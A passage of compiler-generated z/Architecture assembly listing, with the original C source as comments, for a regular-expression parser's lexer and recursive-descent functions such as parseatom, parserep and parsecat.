LA 1,176(0,13) LG 15,@lit_786_178 ; lexclass @@gen_label253 DS 0H BALR 14,15 @@gen_label254 DS 0H LGFR 15,15 B @ret_lab_786 @L149 DS 0H * *** if (g->yychar == '(') { CLFHSI 172(2),77 BNE @L150 * *** if (g->source[0] == '?') { LG 15,24(0,2) ; offset of source in Restate CLI 0(15),111 BNE @L151 * *** if (g->source[1] == ':') { LG 15,24(0,2) ; offset of source in Restate CLI 1(15),122 BNE @L152 * *** g->source += 2; LG 15,24(0,2) LA 15,2(0,15) STG 15,24(0,2) * *** return L_NC; LGHI 15,259 ; 259 B @ret_lab_786 * *** } @L152 DS 0H * *** if (g->source[1] == '=') { LG 15,24(0,2) ; offset of source in Restate CLI 1(15),126 BNE @L153 * *** g->source += 2; LG 15,24(0,2) LA 15,2(0,15) STG 15,24(0,2) * *** return L_PLA; LGHI 15,260 ; 260 B @ret_lab_786 * *** } @L153 DS 0H * *** if (g->source[1] == '!') { LG 15,24(0,2) ; offset of source in Restate CLI 1(15),90 BNE @L151 * *** g->source += 2; LG 15,24(0,2) LA 15,2(0,15) STG 15,24(0,2) * *** return L_NLA; LGHI 15,261 ; 261 B @ret_lab_786 * *** } * *** } @L151 DS 0H * *** return '('; LGHI 15,77 ; 77 B @ret_lab_786 * *** } @L150 DS 0H * *** * *** return L_CHAR; LGHI 15,256 ; 256 * *** } @ret_lab_786 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "lex" * (FUNCTION #786) * @AUTO#lex DSECT DS XL168 lex#quoted#0 DS 1F ; quoted * @CODE CSECT * * * * ....... start of newnode @LNAME787 DS 0H DC X'00000007' DC C'newnode' DC X'00' newnode DCCPRLG CINDEX=787,BASER=0,FRAME=176,SAVEAREA=NO,ENTRY=NO,ARCH* =ZARCH,LNAMEADDR=@LNAME787 * ******* End of Prologue * * * *** Renode *node = g->pend++; LG 15,0(0,1) ; g LG 2,16(0,15) LA 3,32(0,2) STG 3,16(0,15) * *** node->type = type; L 15,12(0,1) ; type STC 15,0(0,2) ; node * *** node->cc = ((void *)0); LGHI 15,0 ; 0 STG 15,8(0,2) ; offset of cc in Renode * *** node->c = 0; MVHI 4(2),0 ; offset of c in Renode * *** node->ng = 0; MVI 1(2),0 ; offset of ng in Renode * *** node->m = 0; MVI 2(2),0 ; offset of m in Renode * *** node->n = 0; MVI 3(2),0 ; offset of n in Renode * *** node->x = node->y = ((void *)0); STG 15,24(0,2) ; offset of y in Renode STG 15,16(0,2) * *** return node; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "newnode" * (FUNCTION #787) * @AUTO#newnode DSECT DS XL168 * @CODE CSECT * * * * ....... start of empty @LNAME788 DS 0H DC X'00000005' DC C'empty' DC X'00' empty DCCPRLG CINDEX=788,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME788 * ******* End of Prologue * * * *** if (!node) return 1; LG 2,0(0,1) ; node LTGR 15,2 BNZ @L156 LGHI 15,1 ; 1 B @ret_lab_788 DS 0D @FRAMESIZE_788 DC F'176' @lit_788_190 DC AD(empty) @lit_788_204 DC FD'1' 0x0000000000000001 @lit_788_205 DC FD'120' 0x0000000000000078 @lit_788_206 DC FD'128' 0x0000000000000080 * *** switch (node->type) { * *** default: return 1; @L158 DS 0H LGHI 15,1 ; 1 B @ret_lab_788 * *** case P_CAT: return empty(node->x) && empty(node->y); @L159 DS 0H LG 15,16(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 3,@lit_788_190 ; empty LGR 15,3 @@gen_label261 DS 0H BALR 14,15 @@gen_label262 DS 0H LTR 15,15 BZ @L161 LG 15,24(0,2) STG 15,168(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label264 DS 0H BALR 14,15 @@gen_label265 DS 0H LTR 15,15 BZ @L161 LHI 15,1 ; 1 B @L160 @L161 DS 0H LHI 15,0 ; 0 @L160 DS 0H LGFR 15,15 B @ret_lab_788 * *** case P_ALT: return empty(node->x) || empty(node->y); @L162 DS 0H LG 15,16(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 3,@lit_788_190 ; empty LGR 15,3 @@gen_label267 DS 0H BALR 14,15 @@gen_label268 DS 0H LTR 15,15 BNZ @L163 LG 15,24(0,2) STG 15,168(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label270 DS 0H BALR 14,15 @@gen_label271 DS 0H LTR 15,15 BZ @L165 @L163 DS 0H LHI 15,1 ; 1 B @L164 @L165 DS 0H LHI 15,0 ; 0 @L164 DS 0H LGFR 15,15 B @ret_lab_788 * *** case P_REP: return empty(node->x) || node->m == 0; @L166 DS 0H LG 15,16(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_788_190 ; empty @@gen_label273 DS 0H BALR 14,15 @@gen_label274 DS 0H LTR 15,15 BNZ @L167 CLI 2(2),0 BNE @L169 @L167 DS 0H LHI 15,1 ; 1 B @L168 @L169 DS 0H LHI 15,0 ; 0 @L168 DS 0H LGFR 15,15 B @ret_lab_788 * *** case P_PAR: return empty(node->x); @L170 DS 0H LG 15,16(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_788_190 ; empty @@gen_label277 DS 0H BALR 14,15 @@gen_label278 DS 0H LGFR 15,15 B @ret_lab_788 * *** case P_REF: return empty(node->x); @L171 DS 0H LG 15,16(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_788_190 ; empty @@gen_label279 DS 0H BALR 14,15 @@gen_label280 DS 0H LGFR 15,15 B @ret_lab_788 * *** case P_ANY: case P_CHAR: case P_CCLASS: case P_NCCLASS: ret\ * urn 0; @L175 DS 0H LGHI 15,0 ; 0 B @ret_lab_788 * *** } @L156 DS 0H LLC 15,0(0,2) CLFI 15,X'00000007' BNL @@gen_label281 CLFI 15,X'00000000' BE @L159 CLFI 15,X'00000001' BE @L162 CLFI 15,X'00000002' BE @L166 B @L158 @@gen_label281 DS 0H AHI 15,-7 CLFI 15,X'00000007' BH @L158 LLGFR 15,15 LGHI 1,1 SLLG 1,1,0(15) LGR 15,1 NG 15,@lit_788_204 BNZ @L170 LGR 15,1 NG 15,@lit_788_205 BNZ @L175 NG 1,@lit_788_206 BNZ @L171 B @L158 * *** } @ret_lab_788 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "empty" * (FUNCTION #788) * @AUTO#empty DSECT DS XL168 * @CODE CSECT * * * * ....... start of newrep @LNAME789 DS 0H DC X'00000006' DC C'newrep' DC X'00' newrep DCCPRLG CINDEX=789,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME789 LGR 3,1 ; ptr to parm area * ******* End of Prologue * * * *** Renode *rep = newnode(g, P_REP); LG 15,0(0,3) ; g STG 15,176(0,13) MVGHI 184(13),2 LA 1,176(0,13) LG 15,@lit_789_208 ; newnode @@gen_label282 DS 0H BALR 14,15 @@gen_label283 DS 0H LGR 2,15 * *** if (max == 255 && empty(atom)) CHSI 36(3),255 BNE @L176 LG 15,8(0,3) ; atom STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_789_209 ; empty @@gen_label285 DS 0H BALR 14,15 @@gen_label286 DS 0H LTR 15,15 BZ @L176 * *** die(g, "infinite loop matching the empty string"); LG 15,0(0,3) ; g STG 15,176(0,13) LG 15,@lit_789_210 LA 15,314(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_789_211 ; die @@gen_label288 DS 0H BALR 14,15 @@gen_label289 DS 0H @L176 DS 0H * *** rep->ng = ng; L 15,20(0,3) ; ng STC 15,1(0,2) ; offset of ng in Renode * *** rep->m = min; L 15,28(0,3) ; min STC 15,2(0,2) ; offset of m in Renode * *** rep->n = max; L 15,36(0,3) ; max STC 15,3(0,2) ; offset of n in Renode * *** rep->x = atom; LG 15,8(0,3) ; atom STG 15,16(0,2) ; offset of x in Renode * *** return rep; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_789 DC F'192' @lit_789_208 DC AD(newnode) @lit_789_209 DC AD(empty) @lit_789_211 DC AD(die) @lit_789_210 DC AD(@strings@) DROP 12 * * DSECT for automatic variables in "newrep" * (FUNCTION #789) * @AUTO#newrep DSECT DS XL168 * @CODE CSECT * * * * ....... start of next @LNAME790 DS 0H DC X'00000004' DC C'next' DC X'00' next DCCPRLG CINDEX=790,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME790 * ******* End of Prologue * * * *** g->lookahead = lex(g); LG 2,0(0,1) ; g STG 2,168(0,13) LA 1,168(0,13) LG 15,@lit_790_213 ; lex @@gen_label290 DS 0H BALR 14,15 @@gen_label291 DS 0H ST 15,168(0,2) * *** } @ret_lab_790 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_790 DC F'176' @lit_790_213 DC AD(lex) DROP 12 * * DSECT for automatic variables in "next" * (FUNCTION #790) * @AUTO#next DSECT DS XL168 * @CODE CSECT * * * * ....... start of re_accept @LNAME791 DS 0H DC X'00000009' DC C're_accept' DC X'00' re_accept DCCPRLG CINDEX=791,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNA* MEADDR=@LNAME791 * ******* End of Prologue * * * *** if (g->lookahead == t) { LG 15,0(0,1) ; g L 2,168(0,15) ; offset of lookahead in Restate C 2,12(0,1) BNE @L177 * *** next(g); STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_791_215 ; next @@gen_label293 DS 0H BALR 14,15 @@gen_label294 DS 0H * *** return 1; LGHI 15,1 ; 1 B @ret_lab_791 DS 0D @FRAMESIZE_791 DC F'176' @lit_791_215 DC AD(next) * *** } @L177 DS 0H * *** return 0; LGHI 15,0 ; 0 * *** } @ret_lab_791 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "re_accept" * (FUNCTION #791) * @AUTO#re_accept DSECT DS XL168 * @CODE CSECT * * * * ....... start of parseatom @LNAME793 DS 0H DC X'00000009' DC C'parseatom' DC X'00' parseatom DCCPRLG CINDEX=793,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,LNA* MEADDR=@LNAME793 * ******* End of Prologue * * LG 3,0(0,1) ; g * *** Renode *atom; * *** if (g->lookahead == L_CHAR) { CHSI 168(3),256 BNE @L178 * *** atom = newnode(g, P_CHAR); STG 3,176(0,13) MVGHI 184(13),11 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label296 DS 0H BALR 14,15 @@gen_label297 DS 0H LGR 2,15 ; atom * *** atom->c = g->yychar; L 1,172(0,3) ; offset of yychar in Restate ST 1,4(0,15) ; offset of c in Renode * *** next(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_220 ; next @@gen_label298 DS 0H BALR 14,15 @@gen_label299 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 DS 0D @FRAMESIZE_793 DC F'192' @lit_793_219 DC AD(newnode) @lit_793_220 DC AD(next) @lit_793_227 DC AD(die) @lit_793_226 DC AD(@strings@) @lit_793_229 DC AD(re_accept) @lit_793_235 DC AD(parsealt) * *** } @L178 DS 0H * *** if (g->lookahead == L_CCLASS) { CHSI 168(3),257 BNE @L179 * *** atom = newnode(g, P_CCLASS); STG 3,176(0,13) MVGHI 184(13),12 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label301 DS 0H BALR 14,15 @@gen_label302 DS 0H LGR 2,15 ; atom * *** atom->cc = g->yycc; LG 1,176(0,3) ; offset of yycc in Restate STG 1,8(0,15) ; offset of cc in Renode * *** next(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_220 ; next @@gen_label303 DS 0H BALR 14,15 @@gen_label304 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L179 DS 0H * *** if (g->lookahead == L_NCCLASS) { CHSI 168(3),258 BNE @L180 * *** atom = newnode(g, P_NCCLASS); STG 3,176(0,13) MVGHI 184(13),13 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label306 DS 0H BALR 14,15 @@gen_label307 DS 0H LGR 2,15 ; atom * *** atom->cc = g->yycc; LG 1,176(0,3) ; offset of yycc in Restate STG 1,8(0,15) ; offset of cc in Renode * *** next(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_220 ; next @@gen_label308 DS 0H BALR 14,15 @@gen_label309 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L180 DS 0H * *** if (g->lookahead == L_REF) { CHSI 168(3),264 BNE @L181 * *** atom = newnode(g, P_REF); STG 3,176(0,13) MVGHI 184(13),14 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label311 DS 0H BALR 14,15 @@gen_label312 DS 0H LGR 2,15 ; atom * *** if (g->yychar == 0 || g->yychar > g->nsub || !g->sub[g->\ * yychar]) CLFHSI 172(3),0 BE @L184 L 15,172(0,3) ; offset of yychar in Restate CL 15,36(0,3) BH @L184 @L182 DS 0H LLGF 15,172(0,3) SLLG 15,15,3(0) ; *0x8 LTG 15,40(15,3) BNZ @L183 @L184 DS 0H * *** die(g, "invalid back-reference"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,354(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label316 DS 0H BALR 14,15 @@gen_label317 DS 0H @L183 DS 0H * *** atom->n = g->yychar; L 15,172(0,3) ; offset of yychar in Restate STC 15,3(0,2) ; offset of n in Renode * *** atom->x = g->sub[g->yychar]; LLGF 15,172(0,3) SLLG 15,15,3(0) ; *0x8 LG 15,40(15,3) STG 15,16(0,2) ; offset of x in Renode * *** next(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_220 ; next @@gen_label318 DS 0H BALR 14,15 @@gen_label319 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L181 DS 0H * *** if (re_accept(g, '.')) STG 3,176(0,13) MVGHI 184(13),75 LA 1,176(0,13) LG 4,@lit_793_229 ; re_accept LGR 15,4 @@gen_label320 DS 0H BALR 14,15 @@gen_label321 DS 0H LTR 15,15 BZ @L185 * *** return newnode(g, P_ANY); STG 3,176(0,13) MVGHI 184(13),10 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label323 DS 0H BALR 14,15 @@gen_label324 DS 0H B @ret_lab_793 @L185 DS 0H * *** if (re_accept(g, '(')) { STG 3,176(0,13) MVGHI 184(13),77 LA 1,176(0,13) LGR 15,4 @@gen_label325 DS 0H BALR 14,15 @@gen_label326 DS 0H LTR 15,15 BZ @L186 * *** atom = newnode(g, P_PAR); STG 3,176(0,13) MVGHI 184(13),7 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label328 DS 0H BALR 14,15 @@gen_label329 DS 0H LGR 2,15 ; atom * *** if (g->nsub == REG_MAXSUB) CLFHSI 36(3),16 BNE @L187 * *** die(g, "too many captures"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,378(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label331 DS 0H BALR 14,15 @@gen_label332 DS 0H @L187 DS 0H * *** atom->n = g->nsub++; L 15,36(0,3) LR 1,15 AHI 1,1 ST 1,36(0,3) STC 15,3(0,2) * *** atom->x = parsealt(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_235 ; parsealt @@gen_label333 DS 0H BALR 14,15 @@gen_label334 DS 0H STG 15,16(0,2) * *** g->sub[atom->n] = atom; LLGC 15,3(0,2) SLLG 15,15,3(0) ; *0x8 STG 2,40(15,3) * *** if (!re_accept(g, ')')) STG 3,176(0,13) MVGHI 184(13),93 LA 1,176(0,13) LGR 15,4 @@gen_label335 DS 0H BALR 14,15 @@gen_label336 DS 0H LTR 15,15 BNZ @L188 * *** die(g, "unmatched '('"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,396(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label338 DS 0H BALR 14,15 @@gen_label339 DS 0H @L188 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L186 DS 0H * *** if (re_accept(g, L_NC)) { STG 3,176(0,13) MVGHI 184(13),259 LA 1,176(0,13) LGR 15,4 @@gen_label340 DS 0H BALR 14,15 @@gen_label341 DS 0H LTR 15,15 BZ @L189 * *** atom = parsealt(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_235 ; parsealt @@gen_label343 DS 0H BALR 14,15 @@gen_label344 DS 0H LGR 2,15 ; atom * *** if (!re_accept(g, ')')) STG 3,176(0,13) MVGHI 184(13),93 LA 1,176(0,13) LGR 15,4 @@gen_label345 DS 0H BALR 14,15 @@gen_label346 DS 0H LTR 15,15 BNZ @L190 * *** die(g, "unmatched '('"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,396(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label348 DS 0H BALR 14,15 @@gen_label349 DS 0H @L190 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L189 DS 0H * *** if (re_accept(g, L_PLA)) { STG 3,176(0,13) MVGHI 184(13),260 LA 1,176(0,13) LGR 15,4 @@gen_label350 DS 0H BALR 14,15 @@gen_label351 DS 0H LTR 15,15 BZ @L191 * *** atom = newnode(g, P_PLA); STG 3,176(0,13) MVGHI 184(13),8 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label353 DS 0H BALR 14,15 @@gen_label354 DS 0H LGR 2,15 * *** atom->x = parsealt(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_235 ; parsealt @@gen_label355 DS 0H BALR 14,15 @@gen_label356 DS 0H STG 15,16(0,2) * *** if (!re_accept(g, ')')) STG 3,176(0,13) MVGHI 184(13),93 LA 1,176(0,13) LGR 15,4 @@gen_label357 DS 0H BALR 14,15 @@gen_label358 DS 0H LTR 15,15 BNZ @L192 * *** die(g, "unmatched '('"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,396(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label360 DS 0H BALR 14,15 @@gen_label361 DS 0H @L192 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L191 DS 0H * *** if (re_accept(g, L_NLA)) { STG 3,176(0,13) MVGHI 184(13),261 LA 1,176(0,13) LGR 15,4 @@gen_label362 DS 0H BALR 14,15 @@gen_label363 DS 0H LTR 15,15 BZ @L193 * *** atom = newnode(g, P_NLA); STG 3,176(0,13) MVGHI 184(13),9 LA 1,176(0,13) LG 15,@lit_793_219 ; newnode @@gen_label365 DS 0H BALR 14,15 @@gen_label366 DS 0H LGR 2,15 * *** atom->x = parsealt(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_793_235 ; parsealt @@gen_label367 DS 0H BALR 14,15 @@gen_label368 DS 0H STG 15,16(0,2) * *** if (!re_accept(g, ')')) STG 3,176(0,13) MVGHI 184(13),93 LA 1,176(0,13) LGR 15,4 @@gen_label369 DS 0H BALR 14,15 @@gen_label370 DS 0H LTR 15,15 BNZ @L194 * *** die(g, "unmatched '('"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,396(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label372 DS 0H BALR 14,15 @@gen_label373 DS 0H @L194 DS 0H * *** return atom; LGR 15,2 B @ret_lab_793 * *** } @L193 DS 0H * *** die(g, "syntax error"); STG 3,176(0,13) LG 15,@lit_793_226 LA 15,410(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_793_227 ; die @@gen_label374 DS 0H BALR 14,15 @@gen_label375 DS 0H * *** return ((void *)0); LGHI 15,0 ; 0 * *** } @ret_lab_793 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "parseatom" * (FUNCTION #793) * @AUTO#parseatom DSECT DS XL168 * @CODE CSECT * * * * ....... start of parserep @LNAME794 DS 0H DC X'00000008' DC C'parserep' DC X'00' parserep DCCPRLG CINDEX=794,BASER=12,FRAME=216,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME794 * ******* End of Prologue * * LG 2,0(0,1) ; g * *** Renode *atom; * *** * *** if (re_accept(g, '^')) return newnode(g, P_BOL); STG 2,176(0,13) MVGHI 184(13),95 LA 1,176(0,13) LG 6,@lit_794_260 ; re_accept LGR 15,6 @@gen_label376 DS 0H BALR 14,15 @@gen_label377 DS 0H LTR 15,15 BZ @L195 STG 2,176(0,13) MVGHI 184(13),3 LA 1,176(0,13) LG 15,@lit_794_261 ; newnode @@gen_label379 DS 0H BALR 14,15 @@gen_label380 DS 0H B @ret_lab_794 DS 0D @FRAMESIZE_794 DC F'216' @lit_794_260 DC AD(re_accept) @lit_794_261 DC AD(newnode) @lit_794_268 DC AD(parseatom) @lit_794_269 DC AD(next) @lit_794_271 DC AD(die) @lit_794_270 DC AD(@strings@) @lit_794_273 DC AD(newrep) @L195 DS 0H * *** if (re_accept(g, '$')) return newnode(g, P_EOL); STG 2,176(0,13) MVGHI 184(13),91 LA 1,176(0,13) LGR 15,6 @@gen_label381 DS 0H BALR 14,15 @@gen_label382 DS 0H LTR 15,15 BZ @L196 STG 2,176(0,13) MVGHI 184(13),4 LA 1,176(0,13) LG 15,@lit_794_261 ; newnode @@gen_label384 DS 0H BALR 14,15 @@gen_label385 DS 0H B @ret_lab_794 @L196 DS 0H * *** if (re_accept(g, L_WORD)) return newnode(g, P_WORD); STG 2,176(0,13) MVGHI 184(13),262 LA 1,176(0,13) LGR 15,6 @@gen_label386 DS 0H BALR 14,15 @@gen_label387 DS 0H LTR 15,15 BZ @L197 STG 2,176(0,13) MVGHI 184(13),5 LA 1,176(0,13) LG 15,@lit_794_261 ; newnode @@gen_label389 DS 0H BALR 14,15 @@gen_label390 DS 0H B @ret_lab_794 @L197 DS 0H * *** if (re_accept(g, L_NWORD)) return newnode(g, P_NWORD); STG 2,176(0,13) MVGHI 184(13),263 LA 1,176(0,13) LGR 15,6 @@gen_label391 DS 0H BALR 14,15 @@gen_label392 DS 0H LTR 15,15 BZ @L198 STG 2,176(0,13) MVGHI 184(13),6 LA 1,176(0,13) LG 15,@lit_794_261 ; newnode @@gen_label394 DS 0H BALR 14,15 @@gen_label395 DS 0H B @ret_lab_794 @L198 DS 0H * *** * *** atom = parseatom(g); STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_794_268 ; parseatom @@gen_label396 DS 0H BALR 14,15 @@gen_label397 DS 0H LGR 3,15 * *** if (g->lookahead == L_COUNT) { CHSI 168(2),265 BNE @L199 * *** int min = g->yymin, max = g->yymax; LM 4,5,184(2) ; offset of yymin in Restate * *** next(g); STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_794_269 ; next @@gen_label399 DS 0H BALR 14,15 @@gen_label400 DS 0H * *** if (max < min) CR 5,4 BNL @L200 * *** die(g, "invalid quantifier"); STG 2,176(0,13) LG 15,@lit_794_270 LA 15,58(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_794_271 ; die @@gen_label402 DS 0H BALR 14,15 @@gen_label403 DS 0H @L200 DS 0H * *** return newrep(g, atom, re_accept(g, '?'), min, max); STG 2,176(0,13) MVGHI 184(13),111 LA 1,176(0,13) LGR 15,6 @@gen_label404 DS 0H BALR 14,15 @@gen_label405 DS 0H STMG 2,3,176(13) LGFR 15,15 STG 15,192(0,13) LGFR 15,4 STG 15,200(0,13) LGFR 15,5 STG 15,208(0,13) LA 1,176(0,13) LG 15,@lit_794_273 ; newrep @@gen_label406 DS 0H BALR 14,15 @@gen_label407 DS 0H B @ret_lab_794 * *** } @L199 DS 0H * *** if (re_accept(g, '*')) return newrep(g, atom, re_accept(g, \ * '?'), 0, 255); STG 2,176(0,13) MVGHI 184(13),92 LA 1,176(0,13) LGR 15,6 @@gen_label408 DS 0H BALR 14,15 @@gen_label409 DS 0H LTR 15,15 BZ @L201 STG 2,176(0,13) MVGHI 184(13),111 LA 1,176(0,13) LGR 15,6 @@gen_label411 DS 0H BALR 14,15 @@gen_label412 DS 0H STMG 2,3,176(13) LGFR 15,15 STG 15,192(0,13) XC 200(8,13),200(13) MVGHI 208(13),255 LA 1,176(0,13) LG 15,@lit_794_273 ; newrep @@gen_label413 DS 0H BALR 14,15 @@gen_label414 DS 0H B @ret_lab_794 @L201 DS 0H * *** if (re_accept(g, '+')) return newrep(g, atom, re_accept(g, \ * '?'), 1, 255); STG 2,176(0,13) MVGHI 184(13),78 LA 1,176(0,13) LGR 15,6 @@gen_label415 DS 0H BALR 14,15 @@gen_label416 DS 0H LTR 15,15 BZ @L202 STG 2,176(0,13) MVGHI 184(13),111 LA 1,176(0,13) LGR 15,6 @@gen_label418 DS 0H BALR 14,15 @@gen_label419 DS 0H STMG 2,3,176(13) LGFR 15,15 STG 15,192(0,13) MVGHI 200(13),1 MVGHI 208(13),255 LA 1,176(0,13) LG 15,@lit_794_273 ; newrep @@gen_label420 DS 0H BALR 14,15 @@gen_label421 DS 0H B @ret_lab_794 @L202 DS 0H * *** if (re_accept(g, '?')) return newrep(g, atom, re_accept(g, \ * '?'), 0, 1); STG 2,176(0,13) MVGHI 184(13),111 LA 1,176(0,13) LGR 15,6 @@gen_label422 DS 0H BALR 14,15 @@gen_label423 DS 0H LTR 15,15 BZ @L203 STG 2,176(0,13) MVGHI 184(13),111 LA 1,176(0,13) LGR 15,6 @@gen_label425 DS 0H BALR 14,15 @@gen_label426 DS 0H STMG 2,3,176(13) LGFR 15,15 STG 15,192(0,13) XC 200(8,13),200(13) MVGHI 208(13),1 LA 1,176(0,13) LG 15,@lit_794_273 ; newrep @@gen_label427 DS 0H BALR 14,15 @@gen_label428 DS 0H B @ret_lab_794 @L203 DS 0H * *** return atom; LGR 15,3 * *** } @ret_lab_794 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "parserep" * (FUNCTION #794) * @AUTO#parserep DSECT DS XL168 parserep#max#1 DS 1F ; max ORG @AUTO#parserep+168 parserep#min#1 DS 1F ; min * @CODE CSECT * * * * ....... start of parsecat @LNAME795 DS 0H DC X'00000008' DC C'parsecat' DC X'00' parsecat DCCPRLG CINDEX=795,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME795 * ******* End of Prologue * * LG 3,0(0,1) ; g * *** Renode *cat, *x; * *** if (g->lookahead && g->lookahead != '|' && g->lookahead != \ * ')') { LT 15,168(0,3) ; offset of lookahead in Restate BZ @L204 CHSI 168(3),79 BE @L204 CHSI 168(3),93 BE @L204 * *** cat = parserep(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_795_284 ; parserep @@gen_label432 DS 0H BALR 14,15 @@gen_label433 DS 0H LGR 2,15 ; cat * *** while (g->lookahead && g->lookahead != '|' && g->lookahe\ * ad != ')') { B @L208 DS 0D @FRAMESIZE_795 DC F'192' @lit_795_284 DC AD(parserep) @lit_795_285 DC AD(newnode) @L207 DS 0H * *** x = cat; LGR 4,2 ; x * *** cat = newnode(g, P_CAT); STG 3,176(0,13) XC 184(8,13),184(13) LA 1,176(0,13) LG 15,@lit_795_285 ; newnode @@gen_label434 DS 0H BALR 14,15 @@gen_label435 DS 0H LGR 2,15 * *** cat->x = x; STG 4,16(0,2) ; offset of x in Renode * *** cat->y = parserep(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_795_284 ; parserep @@gen_label436 DS 0H BALR 14,15 @@gen_label437 DS 0H STG 15,24(0,2) * *** } @L208 DS 0H LT 15,168(0,3) ; offset of lookahead in Restate BZ @L209 CHSI 168(3),79 BE @L209 CHSI 168(3),93 BNE @L207 @L209 DS 0H * *** return cat; LGR 15,2 B @ret_lab_795 * *** } @L204 DS 0H * *** return ((void *)0); LGHI 15,0 ; 0 * *** } @ret_lab_795 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "parsecat" * (FUNCTION #795) * @AUTO#parsecat DSECT DS XL168 * @CODE CSECT * * * * ....... start of parsealt @LNAME792 DS 0H DC X'00000008' DC C'parsealt' DC X'00' parsealt DCCPRLG CINDEX=792,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME792 * ******* End of Prologue * * LG 3,0(0,1) ; g * *** Renode *alt, *x; * *** alt = parsecat(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_792_289 ; parsecat @@gen_label441 DS 0H BALR 14,15 @@gen_label442 DS 0H LGR 2,15 ; alt * *** while (re_accept(g, '|')) { B @L213 DS 0D @FRAMESIZE_792 DC F'192' @lit_792_289 DC AD(parsecat) @lit_792_290 DC AD(newnode) @lit_792_292 DC AD(re_accept) @L212 DS 0H * *** x = alt; LGR 4,2 ; x * *** alt = newnode(g, P_ALT); STG 3,176(0,13) MVGHI 184(13),1 LA 1,176(0,13) LG 15,@lit_792_290 ; newnode @@gen_label443 DS 0H BALR 14,15 @@gen_label444 DS 0H LGR 2,15 * *** alt->x = x; STG 4,16(0,2) ; offset of x in Renode * *** alt->y = parsecat(g); STG 3,176(0,13) LA 1,176(0,13) LG 15,@lit_792_289 ; parsecat @@gen_label445 DS 0H BALR 14,15 @@gen_label446 DS 0H STG 15,24(0,2) * *** } @L213 DS 0H STG 3,176(0,13) MVGHI 184(13),79 LA 1,176(0,13) 